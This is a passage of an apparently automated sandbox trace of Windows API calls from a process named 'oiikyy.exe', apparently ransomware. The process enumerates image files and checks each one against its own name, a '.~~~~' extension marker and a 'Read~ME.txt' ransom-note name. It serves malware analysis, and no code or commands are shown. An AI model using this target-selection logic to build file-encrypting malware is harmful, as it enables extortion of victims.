	[0084.001] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1
	[0084.001] lstrcmpiW (lpString1="J0086420.WMF", lpString2="Windows") returned -1
	[0084.001] lstrcmpW (lpString1="J0086420.WMF", lpString2="oiikyy.exe") returned -1
	[0084.001] StrStrW (lpFirst="J0086420.WMF", lpSrch=".~~~~") returned 0x0
	[0084.001] lstrcmpW (lpString1="J0086420.WMF", lpString2="Read~ME.txt") returned -1
	[0084.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.001] GetCurrentThreadId () returned 0x618
	[0084.001] RtlWakeConditionVariable () returned 0x365f48
	[0084.001] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1
	[0084.001] lstrcmpiW (lpString1="J0086424.WMF", lpString2="Windows") returned -1
	[0084.001] lstrcmpW (lpString1="J0086424.WMF", lpString2="oiikyy.exe") returned -1
	[0084.001] StrStrW (lpFirst="J0086424.WMF", lpSrch=".~~~~") returned 0x0
	[0084.001] lstrcmpW (lpString1="J0086424.WMF", lpString2="Read~ME.txt") returned -1
	[0084.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.001] GetCurrentThreadId () returned 0x618
	[0084.001] RtlWakeConditionVariable () returned 0x365f48
	[0084.001] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1
	[0084.001] lstrcmpiW (lpString1="J0086426.WMF", lpString2="Windows") returned -1
	[0084.001] lstrcmpW (lpString1="J0086426.WMF", lpString2="oiikyy.exe") returned -1
	[0084.001] StrStrW (lpFirst="J0086426.WMF", lpSrch=".~~~~") returned 0x0
	[0084.001] lstrcmpW (lpString1="J0086426.WMF", lpString2="Read~ME.txt") returned -1
	[0084.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.001] GetCurrentThreadId () returned 0x618
	[0084.002] RtlWakeConditionVariable () returned 0x365f48
	[0084.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1
	[0084.002] lstrcmpiW (lpString1="J0086428.WMF", lpString2="Windows") returned -1
	[0084.002] lstrcmpW (lpString1="J0086428.WMF", lpString2="oiikyy.exe") returned -1
	[0084.002] StrStrW (lpFirst="J0086428.WMF", lpSrch=".~~~~") returned 0x0
	[0084.002] lstrcmpW (lpString1="J0086428.WMF", lpString2="Read~ME.txt") returned -1
	[0084.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.002] GetCurrentThreadId () returned 0x618
	[0084.002] RtlWakeConditionVariable () returned 0x365f48
	[0084.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1
	[0084.002] lstrcmpiW (lpString1="J0086432.WMF", lpString2="Windows") returned -1
	[0084.002] lstrcmpW (lpString1="J0086432.WMF", lpString2="oiikyy.exe") returned -1
	[0084.002] StrStrW (lpFirst="J0086432.WMF", lpSrch=".~~~~") returned 0x0
	[0084.002] lstrcmpW (lpString1="J0086432.WMF", lpString2="Read~ME.txt") returned -1
	[0084.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.002] GetCurrentThreadId () returned 0x618
	[0084.002] RtlWakeConditionVariable () returned 0x365f48
	[0084.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1
	[0084.002] lstrcmpiW (lpString1="J0086478.WMF", lpString2="Windows") returned -1
	[0084.002] lstrcmpW (lpString1="J0086478.WMF", lpString2="oiikyy.exe") returned -1
	[0084.002] StrStrW (lpFirst="J0086478.WMF", lpSrch=".~~~~") returned 0x0
	[0084.002] lstrcmpW (lpString1="J0086478.WMF", lpString2="Read~ME.txt") returned -1
	[0084.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.002] GetCurrentThreadId () returned 0x618
	[0084.002] RtlWakeConditionVariable () returned 0x365f48
	[0084.002] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1
	[0084.002] lstrcmpiW (lpString1="J0089945.WMF", lpString2="Windows") returned -1
	[0084.002] lstrcmpW (lpString1="J0089945.WMF", lpString2="oiikyy.exe") returned -1
	[0084.002] StrStrW (lpFirst="J0089945.WMF", lpSrch=".~~~~") returned 0x0
	[0084.002] lstrcmpW (lpString1="J0089945.WMF", lpString2="Read~ME.txt") returned -1
	[0084.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.002] GetCurrentThreadId () returned 0x618
	[0084.003] RtlWakeConditionVariable () returned 0x365f48
	[0084.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1
	[0084.003] lstrcmpiW (lpString1="J0089992.WMF", lpString2="Windows") returned -1
	[0084.003] lstrcmpW (lpString1="J0089992.WMF", lpString2="oiikyy.exe") returned -1
	[0084.003] StrStrW (lpFirst="J0089992.WMF", lpSrch=".~~~~") returned 0x0
	[0084.003] lstrcmpW (lpString1="J0089992.WMF", lpString2="Read~ME.txt") returned -1
	[0084.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.003] GetCurrentThreadId () returned 0x618
	[0084.003] RtlWakeConditionVariable () returned 0x365f48
	[0084.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1
	[0084.003] lstrcmpiW (lpString1="J0090027.WMF", lpString2="Windows") returned -1
	[0084.003] lstrcmpW (lpString1="J0090027.WMF", lpString2="oiikyy.exe") returned -1
	[0084.003] StrStrW (lpFirst="J0090027.WMF", lpSrch=".~~~~") returned 0x0
	[0084.003] lstrcmpW (lpString1="J0090027.WMF", lpString2="Read~ME.txt") returned -1
	[0084.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.003] GetCurrentThreadId () returned 0x618
	[0084.003] RtlWakeConditionVariable () returned 0x365f48
	[0084.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1
	[0084.003] lstrcmpiW (lpString1="J0090087.WMF", lpString2="Windows") returned -1
	[0084.003] lstrcmpW (lpString1="J0090087.WMF", lpString2="oiikyy.exe") returned -1
	[0084.003] StrStrW (lpFirst="J0090087.WMF", lpSrch=".~~~~") returned 0x0
	[0084.003] lstrcmpW (lpString1="J0090087.WMF", lpString2="Read~ME.txt") returned -1
	[0084.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.003] GetCurrentThreadId () returned 0x618
	[0084.003] RtlWakeConditionVariable () returned 0x365f48
	[0084.003] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1
	[0084.003] lstrcmpiW (lpString1="J0090089.WMF", lpString2="Windows") returned -1
	[0084.003] lstrcmpW (lpString1="J0090089.WMF", lpString2="oiikyy.exe") returned -1
	[0084.004] StrStrW (lpFirst="J0090089.WMF", lpSrch=".~~~~") returned 0x0
	[0084.004] lstrcmpW (lpString1="J0090089.WMF", lpString2="Read~ME.txt") returned -1
	[0084.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.004] GetCurrentThreadId () returned 0x618
	[0084.004] RtlWakeConditionVariable () returned 0x365f48
	[0084.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1
	[0084.004] lstrcmpiW (lpString1="J0090149.WMF", lpString2="Windows") returned -1
	[0084.004] lstrcmpW (lpString1="J0090149.WMF", lpString2="oiikyy.exe") returned -1
	[0084.004] StrStrW (lpFirst="J0090149.WMF", lpSrch=".~~~~") returned 0x0
	[0084.004] lstrcmpW (lpString1="J0090149.WMF", lpString2="Read~ME.txt") returned -1
	[0084.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.004] GetCurrentThreadId () returned 0x618
	[0084.004] RtlWakeConditionVariable () returned 0x365f48
	[0084.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1
	[0084.004] lstrcmpiW (lpString1="J0090390.WMF", lpString2="Windows") returned -1
	[0084.004] lstrcmpW (lpString1="J0090390.WMF", lpString2="oiikyy.exe") returned -1
	[0084.004] StrStrW (lpFirst="J0090390.WMF", lpSrch=".~~~~") returned 0x0
	[0084.004] lstrcmpW (lpString1="J0090390.WMF", lpString2="Read~ME.txt") returned -1
	[0084.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.004] GetCurrentThreadId () returned 0x618
	[0084.004] RtlWakeConditionVariable () returned 0x365f48
	[0084.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1
	[0084.004] lstrcmpiW (lpString1="J0090777.WMF", lpString2="Windows") returned -1
	[0084.004] lstrcmpW (lpString1="J0090777.WMF", lpString2="oiikyy.exe") returned -1
	[0084.004] StrStrW (lpFirst="J0090777.WMF", lpSrch=".~~~~") returned 0x0
	[0084.004] lstrcmpW (lpString1="J0090777.WMF", lpString2="Read~ME.txt") returned -1
	[0084.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.004] GetCurrentThreadId () returned 0x618
	[0084.004] RtlWakeConditionVariable () returned 0x365f48
	[0084.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1
	[0084.005] lstrcmpiW (lpString1="J0090779.WMF", lpString2="Windows") returned -1
	[0084.005] lstrcmpW (lpString1="J0090779.WMF", lpString2="oiikyy.exe") returned -1
	[0084.005] StrStrW (lpFirst="J0090779.WMF", lpSrch=".~~~~") returned 0x0
	[0084.005] lstrcmpW (lpString1="J0090779.WMF", lpString2="Read~ME.txt") returned -1
	[0084.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.005] GetCurrentThreadId () returned 0x618
	[0084.005] RtlWakeConditionVariable () returned 0x365f48
	[0084.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1
	[0084.005] lstrcmpiW (lpString1="J0090781.WMF", lpString2="Windows") returned -1
	[0084.005] lstrcmpW (lpString1="J0090781.WMF", lpString2="oiikyy.exe") returned -1
	[0084.005] StrStrW (lpFirst="J0090781.WMF", lpSrch=".~~~~") returned 0x0
	[0084.005] lstrcmpW (lpString1="J0090781.WMF", lpString2="Read~ME.txt") returned -1
	[0084.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.005] GetCurrentThreadId () returned 0x618
	[0084.005] RtlWakeConditionVariable () returned 0x365f48
	[0084.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1
	[0084.005] lstrcmpiW (lpString1="J0090783.WMF", lpString2="Windows") returned -1
	[0084.005] lstrcmpW (lpString1="J0090783.WMF", lpString2="oiikyy.exe") returned -1
	[0084.005] StrStrW (lpFirst="J0090783.WMF", lpSrch=".~~~~") returned 0x0
	[0084.005] lstrcmpW (lpString1="J0090783.WMF", lpString2="Read~ME.txt") returned -1
	[0084.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.005] GetCurrentThreadId () returned 0x618
	[0084.005] RtlWakeConditionVariable () returned 0x365f48
	[0084.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1
	[0084.005] lstrcmpiW (lpString1="J0093905.WMF", lpString2="Windows") returned -1
	[0084.005] lstrcmpW (lpString1="J0093905.WMF", lpString2="oiikyy.exe") returned -1
	[0084.005] StrStrW (lpFirst="J0093905.WMF", lpSrch=".~~~~") returned 0x0
	[0084.005] lstrcmpW (lpString1="J0093905.WMF", lpString2="Read~ME.txt") returned -1
	[0084.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.006] GetCurrentThreadId () returned 0x618
	[0084.006] RtlWakeConditionVariable () returned 0x365f48
	[0084.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1
	[0084.006] lstrcmpiW (lpString1="J0098497.WMF", lpString2="Windows") returned -1
	[0084.006] lstrcmpW (lpString1="J0098497.WMF", lpString2="oiikyy.exe") returned -1
	[0084.006] StrStrW (lpFirst="J0098497.WMF", lpSrch=".~~~~") returned 0x0
	[0084.006] lstrcmpW (lpString1="J0098497.WMF", lpString2="Read~ME.txt") returned -1
	[0084.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.006] GetCurrentThreadId () returned 0x618
	[0084.006] RtlWakeConditionVariable () returned 0x365f48
	[0084.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1
	[0084.006] lstrcmpiW (lpString1="J0099145.JPG", lpString2="Windows") returned -1
	[0084.006] lstrcmpW (lpString1="J0099145.JPG", lpString2="oiikyy.exe") returned -1
	[0084.006] StrStrW (lpFirst="J0099145.JPG", lpSrch=".~~~~") returned 0x0
	[0084.006] lstrcmpW (lpString1="J0099145.JPG", lpString2="Read~ME.txt") returned -1
	[0084.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.006] GetCurrentThreadId () returned 0x618
	[0084.006] RtlWakeConditionVariable () returned 0x365f48
	[0084.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1
	[0084.006] lstrcmpiW (lpString1="J0099146.WMF", lpString2="Windows") returned -1
	[0084.006] lstrcmpW (lpString1="J0099146.WMF", lpString2="oiikyy.exe") returned -1
	[0084.006] StrStrW (lpFirst="J0099146.WMF", lpSrch=".~~~~") returned 0x0
	[0084.006] lstrcmpW (lpString1="J0099146.WMF", lpString2="Read~ME.txt") returned -1
	[0084.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.006] GetCurrentThreadId () returned 0x618
	[0084.006] RtlWakeConditionVariable () returned 0x365f48
	[0084.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1
	[0084.006] lstrcmpiW (lpString1="J0099147.JPG", lpString2="Windows") returned -1
	[0084.006] lstrcmpW (lpString1="J0099147.JPG", lpString2="oiikyy.exe") returned -1
	[0084.007] StrStrW (lpFirst="J0099147.JPG", lpSrch=".~~~~") returned 0x0
	[0084.007] lstrcmpW (lpString1="J0099147.JPG", lpString2="Read~ME.txt") returned -1
	[0084.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.007] GetCurrentThreadId () returned 0x618
	[0084.007] RtlWakeConditionVariable () returned 0x365f48
	[0084.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1
	[0084.007] lstrcmpiW (lpString1="J0099148.JPG", lpString2="Windows") returned -1
	[0084.007] lstrcmpW (lpString1="J0099148.JPG", lpString2="oiikyy.exe") returned -1
	[0084.007] StrStrW (lpFirst="J0099148.JPG", lpSrch=".~~~~") returned 0x0
	[0084.007] lstrcmpW (lpString1="J0099148.JPG", lpString2="Read~ME.txt") returned -1
	[0084.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.007] GetCurrentThreadId () returned 0x618
	[0084.007] RtlWakeConditionVariable () returned 0x365f48
	[0084.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1
	[0084.007] lstrcmpiW (lpString1="J0099149.WMF", lpString2="Windows") returned -1
	[0084.007] lstrcmpW (lpString1="J0099149.WMF", lpString2="oiikyy.exe") returned -1
	[0084.007] StrStrW (lpFirst="J0099149.WMF", lpSrch=".~~~~") returned 0x0
	[0084.007] lstrcmpW (lpString1="J0099149.WMF", lpString2="Read~ME.txt") returned -1
	[0084.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.007] GetCurrentThreadId () returned 0x618
	[0084.007] RtlWakeConditionVariable () returned 0x365f48
	[0084.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1
	[0084.176] lstrcmpiW (lpString1="J0099150.JPG", lpString2="Windows") returned -1
	[0084.176] lstrcmpW (lpString1="J0099150.JPG", lpString2="oiikyy.exe") returned -1
